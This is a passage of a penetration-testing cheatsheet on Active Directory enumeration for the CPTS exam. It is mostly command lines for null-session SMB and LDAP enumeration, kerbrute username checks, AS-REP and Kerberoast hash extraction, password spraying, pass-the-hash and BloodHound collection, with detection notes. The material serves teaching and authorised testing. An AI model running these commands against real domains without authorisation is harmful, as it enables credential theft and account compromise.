daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

active-directory-enumeration.md (63270B)


      1 ---
      2 title: "Stage 04 — Active Directory Enumeration"
      3 description: "CPTS attack-flow reference for stage 04 — active directory enumeration in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 7
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-04", "pentest-workflow"]
      8 tools: ["BloodHound", "ldapsearch", "NetExec", "PowerView"]
      9 difficulty: intermediate
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/07 - Stage 04 - Active Directory Enumeration.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 07 of 17 · **Focus:** Stage 04 — Active Directory Enumeration
     17 >
     18 > **Previous:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration) · **Next:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)
     19 
     20 ---
     21 # 🏰 STAGE 4 — Active Directory Enumeration
     22 
     23 Once Stage 1 shows **88 / 389 / 445 / 636 / 3268** open I know I'm on a DC. The whole game here: turn "I can reach the DC" into a **username list → any valid cred → a full LDAP dump → a BloodHound graph with an edge to Domain Admin**. That's the order I actually work it, creds or no creds.
     24 
     25 Two habits keep this stage from collapsing into noise: **(1)** every command output that proves something gets saved to `loot/` with a timestamp — the enumeration log becomes the report evidence in [Stage 11](/sheets/pentest-workflow/documentation-and-reporting); **(2)** every identity found goes into a running creds table (`user / source / where valid / privs`) — that table is the spray list, the BloodHound owned-set, and the lateral-movement menu all at once.
     26 
     27 > [!note] Setup assumed
     28 > Vars from the setup block: `$IP $DOMAIN $DC $LHOST $U $P`. Before any Kerberos-based tool touches the box, fix `/etc/hosts`, `/etc/krb5.conf` and clock skew or everything dies silently — full kit in AD_Pentest_Tools_Cheat_Sheet. For a two-label domain I derive the base DN inline: `DC=${DOMAIN%%.*},DC=${DOMAIN##*.}` (e.g. `domain.htb` → `DC=domain,DC=htb`).
     29 
     30 ---
     31 
     32 ### 🧭 Methodology order — the only sequence that matters
     33 
     34 AD enumeration is **state-driven, not tool-driven**. I move down this ladder and loop back up the moment my access level changes:
     35 
     36 <figure class="flow plate corners">
     37   <figcaption class="flow__cap"><span class="flow__kind">AD enumeration loop</span><span class="flow__dir">TD</span></figcaption>
     38   <div class="flow__body">
     39     <svg class="flow-svg" viewBox="0 0 470 1078" role="img" aria-label="No creds to username list to first cred to credentialed LDAP vacuum to BloodHound, looping back to re-enumerate on any new cred or edge, then handing off to the Kerberos, ACL and ADCS stages">
     40       <!-- forward chain -->
     41       <path class="fedge" d="M250,88 L250,160" marker-end="url(#flow-arrow)" />
     42       <path class="fedge" d="M250,208 L250,280" marker-end="url(#flow-arrow)" />
     43       <path class="fedge" d="M250,328 L250,400" marker-end="url(#flow-arrow)" />
     44       <path class="fedge" d="M250,448 L250,520" marker-end="url(#flow-arrow)" />
     45       <path class="fedge" d="M250,568 L250,640" marker-end="url(#flow-arrow)" />
     46       <path class="fedge" d="M250,688 L250,760" marker-end="url(#flow-arrow)" />
     47       <path class="fedge" d="M250,808 L250,880" marker-end="url(#flow-arrow)" />
     48       <path class="fedge" d="M250,928 L250,1000" marker-end="url(#flow-arrow)" />
     49       <!-- back edge: any new cred / new edge loops back to credentialed enum -->
     50       <path class="fedge is-back" d="M70,784 L35,784 L35,544 L70,544" marker-end="url(#flow-arrow)" />
     51       <!-- nodes -->
     52       <g class="fnode is-entry"><rect class="fnode__box" x="70" y="40" width="360" height="48" /><text class="fnode__label" x="250" y="61" text-anchor="middle">No creds<tspan class="sub" x="250" dy="15">null/guest SMB, anon LDAP, RID brute</tspan></text></g>
     53       <g class="fnode"><rect class="fnode__box" x="70" y="160" width="360" height="48" /><text class="fnode__label" x="250" y="181" text-anchor="middle">Username list<tspan class="sub" x="250" dy="15">kerbrute userenum + RID cycle + email patterns</tspan></text></g>
     54       <g class="fnode"><rect class="fnode__box" x="70" y="280" width="360" height="48" /><text class="fnode__label" x="250" y="301" text-anchor="middle">AS-REP roast (no creds needed)<tspan class="sub" x="250" dy="15">+ ONE careful password spray</tspan></text></g>
     55       <g class="fnode"><rect class="fnode__box" x="70" y="400" width="360" height="48" /><text class="fnode__label" x="250" y="421" text-anchor="middle">Any valid cred<tspan class="sub" x="250" dy="15">validate on smb/ldap/winrm/winrm everywhere</tspan></text></g>
     56       <g class="fnode"><rect class="fnode__box" x="70" y="520" width="360" height="48" /><text class="fnode__label" x="250" y="541" text-anchor="middle">Credentialed LDAP vacuum<tspan class="sub" x="250" dy="15">users, groups, SPNs, policy, descriptions</tspan></text></g>
     57       <g class="fnode"><rect class="fnode__box" x="70" y="640" width="360" height="48" /><text class="fnode__label" x="250" y="661" text-anchor="middle">BloodHound collection<tspan class="sub" x="250" dy="15">mark owned, path to DA</tspan></text></g>
     58       <g class="fnode is-decision"><rect class="fnode__box" x="70" y="760" width="360" height="48" /><text class="fnode__label" x="250" y="788" text-anchor="middle">New cred / new edge?</text></g>
     59       <g class="fnode"><rect class="fnode__box" x="70" y="880" width="360" height="48" /><text class="fnode__label" x="250" y="901" text-anchor="middle">Pick an edge<tspan class="sub" x="250" dy="15">roast / ACL abuse / LAPS / gMSA / CVE one-shot</tspan></text></g>
     60       <g class="fnode is-goal"><rect class="fnode__box" x="70" y="1000" width="360" height="48" /><text class="fnode__label" x="250" y="1028" text-anchor="middle">Stage 5 Kerberos · Stage 6 ACL · Stage 7 ADCS</text></g>
     61       <!-- edge labels -->
     62       <g class="felabel"><rect class="felabel__box" x="19" y="656" width="32" height="16" /><text class="felabel__text" x="35" y="667" text-anchor="middle">yes</text></g>
     63       <g class="felabel"><rect class="felabel__box" x="237" y="836" width="26" height="16" /><text class="felabel__text" x="250" y="847" text-anchor="middle">no</text></g>
     64     </svg>
     65   </div>
     66 </figure>
     67 
     68 | Step | State | Goal | Primary tools |
     69 |---|---|---|---|
     70 | 1 | No creds | Naming context, password policy, user list | [NetExec](https://github.com/Pennyw0rth/NetExec), `ldapsearch`, [enum4linux-ng](https://github.com/cddmp/enum4linux-ng), [kerbrute](https://github.com/ropnop/kerbrute) |
     71 | 2 | User list | Valid usernames without lockouts | kerbrute `userenum`, RID brute |
     72 | 3 | User list → cred bridge | Mint first cred with **zero lockout risk** | `GetNPUsers.py` (AS-REP), **one** spray under threshold |
     73 | 4 | One valid cred | Confirm validity + reach | `nxc smb/ldap/winrm` validation |
     74 | 5 | Credentialed | Full directory dump | `nxc ldap`, [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump), PowerView |
     75 | 6 | Credentialed | Graph + attack path | [BloodHound CE](https://github.com/SpecterOps/BloodHound) + SharpHound |
     76 | 7 | Loop | Every new identity = re-run 4–6 as that identity | all of the above |
     77 
     78 > [!tip] CPTS exam rhythm
     79 > The exam expects this exact loop: unauth enum → user list → AS-REP or spray → credentialed enum → BloodHound → edge → new principal → **re-enumerate as the new principal**. Skipping the re-enum step is the #1 reason people stall — a new user often has readable shares, `ReadLAPS` rights, or ACL edges the first user never had.
     80 
     81 > [!abstract]- MITRE ATT&CK map for this stage
     82 > | Technique | Where in this note |
     83 > |---|---|
     84 > | T1087.001/.002 — Account Discovery (local/domain) | 4.1 RID brute, 4.3 `--users`, PowerView |
     85 > | T1069.001/.002 — Permission Groups Discovery | 4.3 `--groups`, `net group /domain` |
     86 > | T1201 — Password Policy Discovery | 4.1 `--pass-pol`, `net accounts /domain` |
     87 > | T1135 — Network Share Discovery | 4.3 `--shares`, Snaffler section |
     88 > | T1482 — Domain Trust Discovery | LDAP cookbook, `Get-DomainTrustMapping` |
     89 > | T1558.004 — AS-REP Roasting | 4.1 kerbrute `--hash-file`, Stage 5 |
     90 > | T1110.003 — Password Spraying | spray loop, [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
     91 > | T1033 — System Owner/User Discovery | session enum (`--sessions`, PsLoggedOn) |
     92 | T1558.003 — Kerberoasting | 4.3 `--kerberoasting` (exploit in Stage 05) |
     93 | T1212 — Exploitation for Credential Access (LAPS/gMSA reads) | LAPS & gMSA section |
     94 
     95 ---
     96 
     97 ### 4.1 Unauthenticated — no creds yet
     98 
     99 **What to look for:** anonymous/guest SMB + LDAP, a valid username list, RID-cycled names, AS-REP-roastable accounts, the domain naming context.
    100 
    101 **Enumerate**
    102 ```bash
    103 # Null / guest SMB — this is the nxc "enum4linux replacement" combo
    104 nxc smb $IP -u '' -p '' --shares
    105 nxc smb $IP -u '' -p '' --users
    106 nxc smb $IP -u 'guest' -p '' --shares            # guest fallback when null is blocked
    107 nxc smb $IP -u '' -p '' --pass-pol               # READ THIS before any spray
    108 nxc smb $IP -u '' -p '' --rid-brute              # cycle RIDs 500+ into names
    109 
    110 # enum4linux-ng — the classic one-shot (users/groups/shares/policy, JSON+YAML out)
    111 enum4linux-ng -A $IP -oA recon/enum4linux
    112 enum4linux-ng -U $IP        # users only
    113 enum4linux-ng -P $IP        # password policy only
    114 
    115 # Anonymous LDAP — grab the base DN, then blind-dump if binds are allowed
    116 ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
    117 ldapsearch -x -H ldap://$DC -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(objectClass=*)" > ldap_anon.txt
    118 
    119 # Kerbrute — validate usernames off port 88, NO lockout risk
    120 kerbrute userenum -d $DOMAIN --dc $DC \
    121   -o valid_users.txt --hash-file asrep.txt -v \
    122   /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt
    123 ```
    124 
    125 > [!tools] Stage this — kerbrute (both platforms staged in vault)
    126 > [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
    127 > [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc))
    128 > Canonical source: [ropnop/kerbrute](https://github.com/ropnop/kerbrute). Wordlists from [SecLists](https://github.com/danielmiessler/SecLists) (`statistically-likely-usernames`, `xato-net-10-million-usernames`) or generate from employee names with [username-anarchy](https://github.com/urbanadventurer/username-anarchy) / [linkedin2username](https://github.com/initstring/linkedin2username) — see [Stage 00](/sheets/pentest-workflow/passive-external-recon).
    129 
    130 **Exploit / pivot from unauth**
    131 ```bash
    132 # RID brute → clean userlist for kerbrute / spraying
    133 nxc smb $IP -u '' -p '' --rid-brute | grep -i SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
    134 
    135 # Feed a confirmed list back into kerbrute (still no lockout on userenum)
    136 kerbrute userenum -d $DOMAIN --dc $DC -o valid_users.txt users.txt
    137 
    138 # kerbrute --hash-file may already have captured AS-REP hashes (pre-auth disabled)
    139 # asrep.txt → hashcat -m 18200 ; roasting/cracking lives in Stage 5, see Hashcat-Cheatsheet
    140 
    141 # Pre-Windows 2000 compatible check: machine account = lowercase name minus '$' as password
    142 nxc ldap $DC -u '' -p '' -M pre2k                              # unauth discovery of pre2k computers
    143 # then try each as user=COMPUTERNAME (lowercase, no $), password=same
    144 ```
    145 
    146 > [!tip] pre2k — the quietest first cred
    147 > When a computer account is created with the **"Assign this computer account as a pre-Windows 2000 computer"** box ticked, its password is set to the computer name in **lowercase, truncated to 14 chars, without the trailing `$`** — and the account is often left disabled-but-guessable. `nxc ldap -M pre2k` lists candidates; verify with `nxc smb $IP -u <name> -p <name>`. It's a valid domain cred from nothing, which unlocks all of 4.3. Detection: Event 4741/4742 on computer creation, plus KDC 4768 failures with the `$`-less sAMAccountName pattern.
    148 
    149 **The Pre-Windows 2000 Compatible Access group** is the other side of the same coin: if `Everyone` / `Anonymous Logon` / `Authenticated Users` were ever dropped into the built-in `Pre-Windows 2000 Compatible Access` group, anonymous binds can read most user/group attributes — that's *why* `ldapsearch` anon dumps and `--rid-brute` sometimes work. Check what survives:
    150 
    151 ```bash
    152 # does anon read work at all? (rootDSE works even when it doesn't)
    153 ldapsearch -x -H ldap://$DC -b "" -s base namingContexts defaultNamingContext
    154 # enum4linux-ng -A output flags it as "Users via anonymous" when the group is permissive
    155 enum4linux-ng -A $IP | grep -i -A3 'pre-windows\|anonymous'
    156 ```
    157 
    158 > [!warning] Watch out
    159 > - `kerbrute` needs the clock within 5 min of the KDC — `clock skew too great` → `sudo ntpdate $IP`. Always pass `--dc $DC` so it never falls back to DNS.
    160 > - `userenum` does **not** lock accounts; `passwordspray` / `bruteuser` **do** — pull `--pass-pol` first and always add `--safe`.
    161 > - The subcommand is `kerbrute userenum`, not `kerbrute user` (that errors).
    162 > - `--rid-brute` / anonymous LDAP only work if the DC allows null binds (Pre-Windows 2000 Compatible Access). No output ≠ empty domain.
    163 > - Kerbrute validation is **loud in aggregate**: every check is an AS-REQ → Event **4768** per username. A 10k-name list is 10k 4768s; use `--threads` modestly and prefer a curated list ([statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)) over bulk dictionary.
    164 
    165 ---
    166 
    167 ### 4.2 Got a cred — validate it everywhere first
    168 
    169 **What to look for:** where the cred is valid, and whether it's already local admin (`Pwn3d!`).
    170 
    171 **Enumerate**
    172 ```bash
    173 # Validate on every protocol — [+] valid, [-] invalid, Pwn3d! = local admin
    174 nxc smb   $IP -u "$U" -p "$P"
    175 nxc ldap  $DC -u "$U" -p "$P"
    176 nxc winrm $DC -u "$U" -p "$P"          # Pwn3d! here = evil-winrm shell, Stage 6
    177 nxc mssql $DC -u "$U" -p "$P"          # svc accounts often hit MSSQL too
    178 nxc rdp   $DC -u "$U" -p "$P"          # RDP reach (screenshot-friendly check)
    179 # Pass-the-hash instead of a password:
    180 nxc smb   $IP -u "$U" -H "$HASH"
    181 ```
    182 
    183 > [!warning] Watch out
    184 > `STATUS_LOGON_FAILURE` with a cred you *know* is good = usually a domain problem, not a bad password. Add `-d $DOMAIN`, target the FQDN `$DC`, or `--local-auth` for a SAM account. Kerberos failures → FQDN target + fixed DNS/clock.
    185 
    186 > [!success] The doctrine: new creds = rerun everything as that identity
    187 > Every validated credential is a **new enumeration context**, not a trophy. The moment a spray hit or crack lands:
    188 > 1. `nxc smb/ldap/winrm` validate the new identity everywhere (4.2).
    189 > 2. Re-vacuum LDAP as that user (4.3) — new `description`/`info`/share access often appears.
    190 > 3. **Re-run BloodHound as that identity** (4.5) and mark it **Owned** — its group memberships and ACL edges may open a path the previous user never had.
    191 > 4. Retry LAPS/gMSA reads and the share sweep.
    192 > This loop *is* the methodology; the HTB/CPTS boxes are built so the 2nd or 3rd identity holds the winning edge.
    193 
    194 ---
    195 
    196 ### 4.3 Credentialed enumeration — vacuum SMB + LDAP with nxc
    197 
    198 **What to look for:** full user/group/computer lists, share access, password policy, low-hanging AD misconfigs (adminCount, delegation, no-preauth).
    199 
    200 **Enumerate**
    201 ```bash
    202 # SMB side — shares, users, groups, sessions
    203 nxc smb $IP -u "$U" -p "$P" --shares --users --groups --pass-pol
    204 nxc smb $IP -u "$U" -p "$P" --loggedon-users --sessions
    205 nxc smb $IP -u "$U" -p "$P" --users --users-export users.txt   # dump list to file
    206 
    207 # LDAP side — the richer view (this is where the AD gold is)
    208 nxc ldap $DC -u "$U" -p "$P" --users
    209 nxc ldap $DC -u "$U" -p "$P" --groups
    210 nxc ldap $DC -u "$U" -p "$P" --computers
    211 nxc ldap $DC -u "$U" -p "$P" --pass-pol
    212 nxc ldap $DC -u "$U" -p "$P" --admin-count               # adminCount=1 → high value
    213 nxc ldap $DC -u "$U" -p "$P" --password-not-required
    214 nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation
    215 nxc ldap $DC -u "$U" -p "$P" --find-delegation
    216 nxc ldap $DC -u "$U" -p "$P" --get-sid
    217 
    218 # Roast discovery straight from LDAP (crack/exploit in Stage 5)
    219 nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.txt
    220 nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerberoast.txt
    221 
    222 # Descriptions/user-desc modules — passwords hide in these fields constantly
    223 nxc ldap $DC -u "$U" -p "$P" -M user-desc
    224 nxc ldap $DC -u "$U" -p "$P" -M get-desc-users
    225 ```
    226 
    227 **nxc LDAP flag table — what each flag actually answers:**
    228 
    229 | Flag | Question answered | Follow-up |
    230 |---|---|---|
    231 | `--users` / `--users-export` | Who exists? (build the spray list) | prune by `badPwdCount` before spraying |
    232 | `--groups` | Group memberships, privileged groups | hunt nested `Domain Admins` members |
    233 | `--computers` | Hosts + OS versions in the domain | old OS = soft privesc targets (Stage 9) |
    234 | `--pass-pol` | Lockout threshold/window, complexity | sets the spray rate math |
    235 | `--admin-count` | `adminCount=1` objects (SDProp-protected) | high-value targets for roast/ACL abuse |
    236 | `--password-not-required` | `PASSWD_NOTREQD` accounts | try blank passwords; classic misconfig |
    237 | `--trusted-for-delegation` | Unconstrained delegation hosts | coerce a DC to it → Stage 5 |
    238 | `--find-delegation` | All delegation (unconstrained/constrained/RBCD) | Stage 5 delegation attacks |
    239 | `--asreproast <file>` | `DONT_REQ_PREAUTH` accounts + AS-REP hashes | `hashcat -m 18200`, [Stage 05](/sheets/pentest-workflow/kerberos-attacks) |
    240 | `--kerberoasting <file>` | SPN accounts + TGS hashes | `hashcat -m 13100`, Stage 05 |
    241 | `--gmsa` | Readable gMSA passwords → NT hashes | spend `ReadGMSAPassword` edges |
    242 | `-M laps` | Readable LAPS passwords | local admin on those hosts |
    243 | `-M pre2k` | Pre-Windows 2000 computer accounts | password = lowercase name |
    244 | `-M user-desc` / `-M get-desc-users` | Passwords in `description` fields | free creds, always run |
    245 | `-M maq` | MachineAccountQuota (can I add a computer?) | RBCD prerequisite, Stage 5/6 |
    246 | `-M adcs` | ADCS enrollment servers/templates | hands off to [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
    247 | `--bloodhound --collection All` | In-line SharpHound-equivalent collection | 4.5 ingest |
    248 | `--get-sid` | Domain SID | needed for ticket forgery, Stage 5 |
    249 
    250 > [!tip] Password spray from a known-valid base
    251 > Once one cred works, spray it (or one seasonal password) across the whole userlist — but respect the lockout policy you already pulled:
    252 > ```bash
    253 > nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2
    254 > ```
    255 
    256 ---
    257 
    258 ### 4.4 LDAP tooling — ldapsearch, ldapdomaindump, ldeep, windapsearch, bloodyAD
    259 
    260 The LDAP tools I reach for, in order of surgical → automated:
    261 
    262 **ldapsearch — surgical, one filter at a time.** Modern syntax: `-H ldap://` (never `-h`), `-x` simple bind, `-LLL` for clean output.
    263 ```bash
    264 # Base recon + auth test
    265 ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
    266 ldapsearch -LLL -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}"
    267 
    268 # All users with the fields that leak creds — check info AND description
    269 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
    270   -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
    271   "(objectClass=user)" sAMAccountName mail userAccountControl description info memberOf
    272 
    273 # Hunt passwords in the info field (this WAS the creds on Support)
    274 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
    275   -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(info=*)" info cn sAMAccountName
    276 
    277 # Kerberoastable (has SPN)
    278 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
    279   -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
    280   "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
    281 
    282 # AS-REP roastable (DONT_REQ_PREAUTH bit)
    283 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
    284   -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
    285   "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName
    286 
    287 # Accounts with constrained delegation configured
    288 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
    289   -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
    290   "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo
    291 
    292 # Domain Controllers only
    293 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
    294   -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
    295   "(userAccountControl:1.2.840.113556.1.4.803:=8192)" cn dNSHostName
    296 ```
    297 
    298 **ldapsearch query cookbook — the "what do I want" → filter table** (base `B="DC=${DOMAIN%%.*},DC=${DOMAIN##*.}"`, auth `-D "$U@$DOMAIN" -w "$P"`):
    299 
    300 | I want… | Filter | Attributes to pull |
    301 |---|---|---|
    302 | All users | `(objectClass=user)` | `sAMAccountName mail description info memberOf` |
    303 | Domain/Enterprise Admins | `(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,$B)` | `sAMAccountName` |
    304 | SPN (kerberoastable) users | `(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))` | `sAMAccountName servicePrincipalName` |
    305 | AS-REP roastable | `(userAccountControl:1.2.840.113556.1.4.803:=4194304)` | `sAMAccountName` |
    306 | All computers | `(objectClass=computer)` | `cn dNSHostName operatingSystem operatingSystemVersion` |
    307 | Computers by OS (e.g. 2012) | `(&(objectClass=computer)(operatingSystem=*2012*))` | `cn operatingSystem` |
    308 | GPOs | `(objectClass=groupPolicyContainer)` | `displayName gPCFileSysPath` |
    309 | OUs | `(objectClass=organizationalUnit)` | `ou distinguishedName gPLink` |
    310 | Domain trusts | `(objectClass=trustedDomain)` | `name trustDirection trustAttributes` |
    311 | Password policy (domain root) | `-s base -b "$B" "(objectClass=domain)"` | `minPwdLength lockoutThreshold lockOutObservationWindow maxPwdAge` |
    312 | Descriptions with creds | `(&(objectCategory=user)(description=*))` | `sAMAccountName description` |
    313 | Mail attributes | `(&(objectClass=user)(mail=*))` | `sAMAccountName mail` |
    314 | Never-expiring passwords | `(userAccountControl:1.2.840.113556.1.4.803:=65536)` | `sAMAccountName` |
    315 | Disabled accounts | `(userAccountControl:1.2.840.113556.1.4.803:=2)` | `sAMAccountName` |
    316 | MachineAccountQuota | `-s base -b "$B" "(objectClass=domain)"` | `ms-DS-MachineAccountQuota` |
    317 | LAPS-readable hosts | `(ms-Mcs-AdmPwd=*)` | `cn ms-Mcs-AdmPwd` |
    318 | ACLs on a specific object | base = object DN, `-s base "(objectClass=*)"` | `nTSecurityDescriptor` (SDDL — parse with bloodyAD/StandIn) |
    319 
    320 **ldapdomaindump — the whole domain to HTML+JSON in one shot.** Best "just give me everything greppable" tool: [dirkjanm/ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump).
    321 ```bash
    322 ldapdomaindump -u "$DOMAIN\\$U" -p "$P" $DC -o ldapdump      # or use $IP if DNS is flaky
    323 # then hunt creds + privileged users in the JSON
    324 grep -i "info\|description" ldapdump/domain_users.json | grep -v '""'
    325 jq '.[] | select(.info != "") | {name:.name, info:.info}' ldapdump/domain_users.json
    326 jq -r '.[].name' ldapdump/domain_users.json > users.txt
    327 # browse the tables: cd ldapdump && python3 -m http.server 8000
    328 ```
    329 
    330 **ldeep — ldapdomaindump's modern rival** ([franc-pentest/ldeep](https://github.com/franc-pentest/ldeep)): same full-dump idea but with per-topic verbs, Kerberos/ccache auth, and JSON output that pipes cleanly:
    331 ```bash
    332 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC all ldeep_out/    # everything
    333 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC users -v          # verbose users
    334 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC delegations       # all delegation types
    335 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa              # readable gMSAs
    336 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC trusts
    337 ldeep ldap -u "$U" -k -d $DOMAIN -s ldaps://$DC all out/              # ccache auth via KRB5CCNAME
    338 ```
    339 
    340 **windapsearch — canned queries as flags** ([ropnop/windapsearch](https://github.com/ropnop/windapsearch)) when I don't want to write filter syntax:
    341 ```bash
    342 windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --da                        # Domain Admins
    343 windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --computers
    344 windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --unconstrained-delegation
    345 ```
    346 
    347 **bloodyAD — read what my cred can actually touch** ([CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD)) (and later, weaponize it):
    348 ```bash
    349 # What objects is THIS principal allowed to write? (fastest ACL-edge finder from CLI)
    350 bloodyAD -d $DOMAIN -u "$U" -p "$P" --host $DC get writable
    351 # bloodyAD also does the write side (reset pw, add to group, set RBCD, disable preauth) — Stage 5/6
    352 ```
    353 
    354 **adidnsdump — the hidden host list** ([dirkjanm/adidnsdump](https://github.com/dirkjanm/adidnsdump)): AD-integrated DNS keeps the zone in LDAP, so *any* domain user can dump every DNS record — a complete internal host inventory (including hosts that don't respond to ping) with zero scanning traffic:
    355 ```bash
    356 adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC --dns-tcp
    357 # records.csv → every A/AAAA/CNAME; grep for *-dc*, *sql*, *web* to build the target map
    358 ```
    359 
    360 > [!tip] "Which LDAP tool?" (exam recall)
    361 > `ldapsearch` = precise single filters · `ldapdomaindump` = full HTML/JSON dump for grepping · `ldeep` = modern dump with verbs + Kerberos auth · `windapsearch` = queries-as-flags · `nxc ldap` = fast enum + roast/bloodhound · `bloodyAD get writable` = what your cred can modify. Anonymous namingContexts probe comes before all of them. Port discovery back in Stage 1 was `rustscan -a $IP --ulimit 5000 -- -sC -sV` then nmap AD scripts.
    362 
    363 > [!warning] Watch out
    364 > - `info` and `description` fields hold plaintext passwords far more often than they should — always dump both.
    365 > - Quote passwords in single quotes; `ldapdomaindump` wants a **double** backslash in `DOMAIN\\user`.
    366 > - LDAPS (636) sometimes binds where plain LDAP is restricted: `ldapsearch -H ldaps://$DC:636 ...` / `ldapdomaindump ... -l ldaps://$DC:636`.
    367 > - Simple binds (`-x -w`) send the password in **cleartext over plain LDAP** — on a real engagement that's both a credential-exposure issue and an easy NDR detection. Prefer `-k`/Kerberos or `ldaps://` where possible.
    368 
    369 ---
    370 
    371 ### 4.5 The payoff — BloodHound → pick an edge
    372 
    373 This is why I enumerate at all: dump the graph, mark what I own, let it show me the path to DA. Collect the moment I have *any* cred, even low-priv. Current platform: [BloodHound CE](https://github.com/SpecterOps/BloodHound) (SpecterOps). Legacy BloodHound 4.x is end-of-life but still lurks in older lab images.
    374 
    375 > [!tools] Stage this — SharpHound collector (exe + ps1 in one zip)
    376 > [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc))
    377 > Canonical source: [SpecterOps/SharpHound](https://github.com/SpecterOps/SharpHound). Linux collectors: [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py) (CE-schema) and [RustHound-CE](https://github.com/g0h4n/RustHound-CE) (fast Rust collector, CE-compatible). **Collector schema must match the ingestor** — check the table below.
    378 
    379 **Legacy vs CE — the compatibility trap:**
    380 
    381 | | Legacy BloodHound 4.x | BloodHound CE |
    382 |---|---|---|
    383 | Linux collector | `bloodhound-python` (old BloodHound.py branch) | `bloodhound-ce-python` or RustHound-CE |
    384 | Windows collector | SharpHound 1.x | SharpHound 2.x (shipped in the vault zip) |
    385 | JSON schema | legacy v4 | CE/opengraph — **not interchangeable** |
    386 | Backend | Neo4j desktop app | Postgres + API + web UI (docker) |
    387 | Ingest | drag-drop zip into GUI | Administration → File Ingest |
    388 | Cypher | legacy property names (`highvalue`, `hasspn`…) | renamed properties; use CE Query Library first |
    389 
    390 > [!danger] Wrong-schema ingestion fails **silently** — files "upload OK" but produce an empty or mis-parsed graph. If the graph is weird after ingest, schema mismatch is the first suspect, before DNS.
    391 
    392 **Collect (Linux, remote)**
    393 ```bash
    394 # BloodHound CE (current) — CE-schema JSON. -ns MUST be the DC IP or the graph comes back empty
    395 bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -dc $DC -ns $IP -c All --zip
    396 
    397 # RustHound-CE — faster on big domains, same CE schema
    398 rusthound-ce -d $DOMAIN -u "$U" -p "$P" -f $DC -i $IP -c All --zip
    399 
    400 # Legacy BloodHound (older labs only — DIFFERENT json schema, not interchangeable)
    401 bloodhound-python -c all -u "$U" -p "$P" -d $DOMAIN -ns $IP --zip
    402 
    403 # Pass-the-hash / Kerberos variants
    404 bloodhound-ce-python -d $DOMAIN -u "$U" --hashes :$HASH -ns $IP -c All --zip
    405 export KRB5CCNAME=$(pwd)/$U.ccache
    406 bloodhound-ce-python -d $DOMAIN -u "$U" -k -no-pass -dc $DC -ns $IP -c All --zip
    407 
    408 # Stealth first pass — pure LDAP, no SMB/host touches
    409 bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $IP -c DCOnly --zip
    410 
